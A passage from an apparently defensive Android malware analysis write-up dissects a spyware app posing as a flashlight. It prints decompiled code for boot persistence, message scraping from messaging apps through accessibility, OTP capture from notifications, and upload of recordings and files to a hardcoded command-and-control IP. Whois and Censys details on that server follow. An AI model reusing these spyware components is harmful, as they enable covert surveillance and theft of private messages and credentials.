    mediaRecorder.start();
    this.recordStarted = true;
    // Registers listener to monitor call state
}
  1. Boot receiver - BroadcastReceiver that listens for the system boot event allowing the app to automatically perform actions when the device finishes booting. The malware is registered to receive the BOOT_COMPLETED intent to achieve persistence on the phone and the priority is also set high at 999. It requires an api level higher than 26 which you can see it requests.
<receiver           android:name="com.android.vendng.receiver.BootReceiver"           android:permission="android.permission.RECEIVE_BOOT_COMPLETED"           android:enabled="true"           android:exported="true"           android:directBootAware="true">           <intent-filter android:priority="999">               <category android:name="android.intent.category.DEFAULT"/>               <action android:name="android.intent.action.BOOT_COMPLETED"/>               <action android:name="android.intent.action.ACTION_BOOT_COMPLETED"/>               <action android:name="android.intent.action.QUICKBOOT_POWERON"/>               <action android:name="com.htc.intent.action.QUICKBOOT_POWEROFF"/>               <action android:name="android.intent.action.REBOOT"/>               <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>               <action android:name="miui.intent.action.BOOT_COMPLETED"/>               <action android:name="android.intent.action.RE_ACTIVATE"/>               <action android:name="android.intent.action.BOOT_COMPLETED"/>               <action android:name="android.intent.action.ACTION_BOOT_COMPLETED"/>               <action android:name="android.intent.action.BOOT"/>               <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>               <action android:name="android.intent.action.QUICKBOOT_POWERON"/>               <action android:name="android.intent.action.BOOT_COMPLETED"/>               <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>           </intent-filter>       </receiver>
public class BootReceiver extends BroadcastReceiver {   private Context context;   @Override // android.content.BroadcastReceiver   public void onReceive(Context context, Intent intent) {       this.context = context;       FileLog.INSTANCE.e(context, "reboot received to flash light");       if (intent.getAction() != null) {           if (!Utils.NotServiceRunning(CallReceiver.class, context)) {               if (Build.VERSION.SDK_INT >= 26) {                   context.startForegroundService(new Intent(context, (Class<?>) CallService.class));               } else {                   context.startService(new Intent(context, (Class<?>) CallService.class));               }           }           handleMiUI();           Intent homeIntent = new Intent(context, (Class<?>) MainActivity.class);           homeIntent.setFlags(268435456);           homeIntent.putExtra(TypedValues.TransitionType.S_FROM, "boot");           context.startActivity(homeIntent);       }   }
  1. Appreceiver - refers to a component that listens for system or app-level broadcasts, allowing for activities like:
  2. Network changes
  3. App installs and uninstalls
  4. Battery levels
  5. Intercept sms or OTPs
  6. Device boot
<receiver           android:name="com.android.vendng.receiver.AppReceiver"           android:enabled="true"           android:exported="true">           <intent-filter>               <action android:name="com.app.app"/>           </intent-filter>       </receiver>
public class AppReceiver extends BroadcastReceiver {   @Override // android.content.BroadcastReceiver   public void onReceive(Context context, Intent intent) {       showBootCompleteNotification(context);   }   private void showBootCompleteNotification(Context context) {       NotificationManager notificationManager = (NotificationManager) context.getSystemService("notification");       if (Build.VERSION.SDK_INT >= 26) {           NotificationChannel channel = new NotificationChannel("boot_complete_channel", "Boot Notifications", 3);           notificationManager.createNotificationChannel(channel);       }       Notification.Builder builder = new Notification.Builder(context).setContentTitle("Boot Completed").setContentText("Device has successfully booted.").setSmallIcon(R.drawable.ic_dialog_info).setAutoCancel(true);       if (Build.VERSION.SDK_INT >= 26) {           builder.setChannelId("boot_complete_channel");       }       notificationManager.notify(1, builder.build());   }}
  1. Package receiver - checks for app package events, in our case when the app is installed/uninstalled and trigger certain actions after an install such as running in the foreground.
<receiver           android:name="com.android.vendng.receiver.PackageReceiver"           android:enabled="true"           android:exported="true">           <intent-filter>               <action android:name="android.intent.action.PACKAGE_INSTALL"/>               <action android:name="android.intent.action.PACKAGE_ADDED"/>               <action android:name="android.intent.action.PACKAGE_REMOVED"/>               <action android:name="android.intent.action.PACKAGE_ADDED"/>               <action android:name="android.intent.action.PACKAGE_CHANGED"/>               <action android:name="android.intent.action.MY_PACKAGE_REPLACED"/>               <data android:scheme="package"/>           </intent-filter>       </receiver>
public class PackageReceiver extends BroadcastReceiver {   private Context context;   @Override // android.content.BroadcastReceiver   public void onReceive(Context context, Intent intent) {       this.context = context;       if (intent.getAction() != null) {           if (!Utils.NotServiceRunning(CallReceiver.class, context)) {               if (Build.VERSION.SDK_INT >= 26) {                   context.startForegroundService(new Intent(context, (Class<?>) CallService.class));               } else {                   context.startService(new Intent(context, (Class<?>) CallService.class));               }           }           handleMiUI();       }   }
  1. Screen receiver - listens for screen on/off events, when the device screen is turned on, off, or when the user unlocks the device.
<receiver           android:name="com.android.vendng.receiver.ScreenReceiver"           android:exported="true">           <intent-filter>               <action android:name="android.intent.action.SCREEN_ON"/>               <action android:name="android.intent.action.SCREEN_OFF"/>               <action android:name="android.intent.action.ACTION_POWER_CONNECTED"/>               <action android:name="android.intent.action.ACTION_POWER_DISCONNECTED"/>               <action android:name="android.intent.action.USER_PRESENT"/>           </intent-filter>       </receiver>
public class ScreenReceiver extends BroadcastReceiver {   private Context context;   @Override // android.content.BroadcastReceiver   public void onReceive(Context context, Intent intent) {       this.context = context;       if (intent.getAction() != null) {           System.out.println("intent for screen ==> " \+ intent.getAction());           if (!Utils.NotServiceRunning(CallReceiver.class, context)) {               if (Build.VERSION.SDK_INT >= 26) {                   context.startForegroundService(new Intent(context, (Class<?>) CallService.class));               } else {                   context.startService(new Intent(context, (Class<?>) CallService.class));               }           }           handleMiUI();       }   }

Taking a deeper look into the services and the java code we can see what information is retrieved by the services.

  1. Call service - this is a service that is triggered during or after a phone call. In this case it checks for a network connection, connection to the socket, device power state, if the screen is on. It also retrieves the call recordings and once it connects to the network and server it sends the file over.
<service           android:name="com.android.vendng.service.CallService"           android:enabled="true"           android:exported="true"           android:stopWithTask="false"           android:directBootAware="true"           android:foregroundServiceType="microphone|camera|mediaProjection|location|phoneCall|mediaPlayback"/>       <service
public static final void onStartCommand$lambda$0(CallService this$0) throws IOException {       Intrinsics.checkNotNullParameter(this$0, "this$0");       SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");       sdf.format(new Date());       if (Utils.isNetworkAvailable(this$0)) {           if (isSocketConnected) {               FileLog.INSTANCE.e(this$0, "socket already connected");               return;           }           SocketManager socketManager = sockManager;           if (socketManager != null) {               socketManager.connect();           }           String time = dateFormat.format(Long.valueOf(System.currentTimeMillis()));           FileLog.INSTANCE.e(this$0, "socket ==> connected:: " \+ isSocketConnected \+ " :: " \+ time);       }   }
public static final void fetchMedia$lambda$2(CallService this$0) {
    Iterable files = ExtStorage.INSTANCE.fetchAllStorage(this$0.getExplorer());
    for (File file : files) {
        if (!ExtStorage.fileExistsInManifest(file.getAbsolutePath())) {
            MultipartBody.Part filePart = MultipartBody.Part
                .createFormData("files", file.getName(), requestBody);
            ApiService api = ApiClient.createService().create(ApiService.class);
            api.fileUpload(filePart).enqueue(new Callback<ResponseBody>() {
                public void onResponse(...) {
                    // Marks file as "Uploaded" in local manifest
                }
            });
        }
        Thread.sleep(800L);  // Throttles exfiltration
    }
}
  1. Accessibility Service - is a background component that receives callbacks when things happen in the UI.It watches out specifically for most social media applications like: whatsapp, facebook, instagram, twitter, snapchat, signal and discord. conversations and tries to capture the content. In this case it detects:
    1. Screen content
    2. Click buttons
    3. Read notifications
    4. Auto-fill information
    5. Capture text messages
<service           android:name="com.android.vendng.service.AppAccessibilityService"           android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"           android:enabled="true"           android:exported="false"           android:process=":accessProcess"           android:directBootAware="true">           <intent-filter>               <action android:name="android.accessibilityservice.AccessibilityService"/>           </intent-filter>           <meta-data               android:name="android.accessibilityservice"               android:resource="@xml/accessibility_service_config"/>       </service>
private final String[] packageNames() {       List packageNames = new ArrayList();       packageNames.add("com.bsb.hike");       packageNames.add("com.whatsapp");       packageNames.add("com.facebook.orca");       packageNames.add("com.twitter.android");       packageNames.add("com.facebook.katana");       packageNames.add("com.facebook.lite");       packageNames.add("com.instagram.android");       packageNames.add("com.snapchat.android");       packageNames.add("org.thoughtcrime.securesms");       packageNames.add("com.discord");       List $this$toTypedArray$iv = packageNames;       return (String[]) $this$toTypedArray$iv.toArray(new String[0]);   }
private final void traverseNodesAndDetermineMessages(AccessibilityNodeInfo node, Rect screenBounds) {       if (node == null) {           return;       }       Rect nodeBounds = new Rect();       node.getBoundsInScreen(nodeBounds);       boolean isSender = nodeBounds.left > screenBounds.width() / 2;       boolean isReceiver = isSender ? false : true;       if (node.getText() != null && node.getText().length() > 0) {           String messageText = node.getText().toString();           if (isSender) {               Log.e("MessagingService", "Sent message: " \+ messageText);           } else if (isReceiver) {               Log.e("MessagingService", "Received message: " \+ messageText);           }       }       int childCount = node.getChildCount();       for (int i = 0; i < childCount; i++) {           traverseNodesAndDetermineMessages(node.getChild(i), screenBounds);       }   }
private final void logTextForWhatsAppId(AccessibilityNodeInfo node, String targetId) {       if (node == null) {           return;       }       if (Intrinsics.areEqual(node.getViewIdResourceName(), targetId) && node.getText() != null) {           Log.e("WhatsAppAccessibility", "Text: " \+ ((Object) node.getText()));       }       int childCount = node.getChildCount();       for (int i = 0; i < childCount; i++) {           AccessibilityNodeInfo childNode = node.getChild(i);           logTextForWhatsAppId(childNode, targetId);           if (childNode != null) {               childNode.recycle();           }       }   }
  1. Notification Listener - that allows the app to read, monitor, and manage notifications from other apps. In this case it can be used to read OTPs and messages from notifications without showing up on the screen.
<service           android:label="app service"           android:name="com.android.vendng.service.NotificationListener"           android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"           android:exported="false">           <intent-filter>               <action android:name="android.service.notification.NotificationListenerService"/>           </intent-filter>           <meta-data               android:name="android.service.notification.default_filter_types"               android:value="conversations|alerting"/>           <meta-data               android:name="android.service.notification.disabled_filter_types"               android:value="ongoing|silent"/>       </service>
public class NotificationListener extends NotificationListenerService {   public static final String TAG = NotificationListener.class.getSimpleName();   @Override // android.service.notification.NotificationListenerService   public void onNotificationPosted(StatusBarNotification sbn) throws JSONException {       super.onNotificationPosted(sbn);       Socket socket = CallService.INSTANCE.getIoSocket();       JSONObject obj = new JSONObject();       try {           Log.e(TAG, "Notification Posted: " \+ sbn.getPackageName());           String pack = sbn.getPackageName();           String ticker = "";           String text = "";           if (sbn.getNotification().tickerText != null) {               ticker = sbn.getNotification().tickerText.toString();           }           Bundle extras = sbn.getNotification().extras;           String title = extras.getString(NotificationCompat.EXTRA_TITLE);           if (extras.getCharSequence(NotificationCompat.EXTRA_TEXT) != null) {               text = extras.getCharSequence(NotificationCompat.EXTRA_TEXT).toString();           }           extras.getInt(NotificationCompat.EXTRA_SMALL_ICON);           Bitmap bitmap = sbn.getNotification().largeIcon;           obj.put(AppConstants.PACKAGE, pack \+ "");           obj.put("ticker", ticker \+ "");           obj.put("title", title \+ "");           obj.put("text", text \+ "");           socket.emit(Events.EVENT_NOTIFY, obj);       } catch (Exception e) {           e.printStackTrace();       }   }   @Override // android.service.notification.NotificationListenerService   public void onNotificationRemoved(StatusBarNotification sbn) {       super.onNotificationRemoved(sbn);       Log.d(TAG, "Notification Removed: " \+ sbn.getPackageName());   }
  1. Asset Pack extraction service - it is a background component that extracts downloaded asset packs from a .aab (Android App Bundle) into the app’s local storage. In this case a flashlight application has no use for this feature and it can be used maliciously to:
    1. Hiding payloads in on-demand assets
    2. Delaying download of malicious content to evade detection
<service           android:name="com.google.android.play.core.assetpacks.AssetPackExtractionService"           android:enabled="false"           android:exported="true">           <meta-data               android:name="com.google.android.play.core.assetpacks.versionCode"               android:value="11003"/>       </service>
public class AssetPackExtractionService extends Service {   zzb zza;   @Override // android.app.Service   public final IBinder onBind(Intent intent) {       return this.zza;   }   @Override // android.app.Service   public final void onCreate() {       super.onCreate();       zzd.zza(getApplicationContext()).zzb(this);   }}
  1. Foreground Extraction service - foreground service that performs file extraction or unpacking tasks (like unzipping, decompressing, or processing large assets) while keeping the user informed through a persistent notification. In a flashlight application this would not be necessary and it could be unpacking large payloads and masquerading with a misleading notification which can be seen as a notification that stays on for a long duration of time even after the application has been turned off.
<service           android:name="com.google.android.play.core.assetpacks.ExtractionForegroundService"           android:enabled="false"           android:exported="false"/>
public class ExtractionForegroundService extends Service {   private final IBinder zza = new zzch(this);   @Override // android.app.Service   public final IBinder onBind(Intent intent) {       return this.zza;   }   public final synchronized void zza() {       stopForeground(true);       stopSelf();   }}

On checking the references to an IO socket we find a IOSocket file that has an IP address pointing to the server. This is likely the C2 server. Initially it sends information such as:

  • Device build and model
  • Manufacturer
public class IOSocket {   private static IOSocket instance = null;   public static String uri = "http://87.119.220.245:4456?model=";   private Socket ioSocket;   public static IOSocket with(Context context) {       if (instance == null) {           instance = new IOSocket(context);       }       return instance;   }   private IOSocket(Context context) {       try {           String deviceID = Settings.Secure.getString(context.getContentResolver(), "android_id") == null ? UUID.randomUUID().toString() : Settings.Secure.getString(context.getContentResolver(), "android_id");           IO.Options opts = new IO.Options();           opts.reconnection = true;           opts.reconnectionDelay = 1000L;           opts.reconnectionDelayMax = 5000L;           opts.timestampRequests = true;           opts.timeout = -1L;           opts.reconnectionAttempts = 3;           opts.forceNew = true;           String query = "" \+ Uri.encode(Build.MODEL \+ "") \+ "&manf=" \+ Uri.encode(Build.MANUFACTURER \+ "") \+ "&release=" \+ Uri.encode(Build.VERSION.RELEASE \+ "") \+ "&id=" \+ Uri.encode(deviceID \+ "") \+ "&version=" \+ Uri.encode(BuildConfig.VERSION_NAME);           this.ioSocket = IO.socket(uri \+ query, opts);       } catch (Exception e) {           e.printStackTrace();       }   }   public Socket getIoSocket() {       return this.ioSocket;   }}

Also when we search the package name com.android.vendng.connect we can also see what other functions need the IOSocket to make a connection to the server and we can also see what other information is retrieved from the device.

jadx search results for com.android.vendng.connect package

Infrastructure Analysis

In this section, I analyse the IP address that I found in the socket file. I started by having a look at the following:

  • Whois information

Whois findings

From the findings we see the:

  • Date created
  • The organisation behind it
  • The address
  • Phone number registered
$ whois 87.119.220.245

inetnum:      87.119.220.244 - 87.119.220.245
netname:      VELIANET-FR-SOURCETRACE-SYSTEMS-INDIA-PVT-LTD
descr:        SourceTrace Systems India Pvt Ltd
country:      FR
org:          ORG-SSL105-RIPE
status:       ASSIGNED PA
created:      2024-10-29T06:54:12Z

org-name:     SourceTrace Systems India Pvt Ltd
address:      SRI MURUGAN TOWERS, Door. No.1285/1, 2nd Floor
address:      641018 Coimbatore, India
phone:        +918122329879

route:        87.119.220.0/22
origin:       AS29066 (velia.net Internetdienste GmbH)

Using censys

In this section we will be looking at censys search to look up the IP address we found.
Here’s some of the information we get:

Censys search results for C2 IP address

We are going to take a look at the who is organisation and see what other IP addresses are listed to the org.
We see that there’s 9 IPs under the org with the same hosting service:

  • 87.119.220.245
  • 134.119.192.94
  • 134.119.192.42
  • 87.119.223.9
  • 87.119.223.3
  • 92.204.164.149
  • 92.204.243.106
  • 134.119.184.113

We can also see that there aren’t any CVEs listed, so nothing malicious has been detected.
From the raw data we can also get the admin contact details.

Censys basic information and services for the IP

SSH service details on the C2 server

HTTP service details on the C2 server
HTTPS service and TLS certificate details
In this next section we can check the IP address in virus total, here we can see that it has been flagged as malicious. In checking the graph we can see that it is linked to 3 more malicious applications.

VirusTotal graph showing related malicious files

Outcome

You now have a full workflow to:

  1. Set up a malware analysis lab.
  2. Capture forensic evidence from Android devices.
  3. Detect suspicious packages and permissions.
  4. Reverse engineer malware to confirm functionality.

Resources
Here’s the link to the files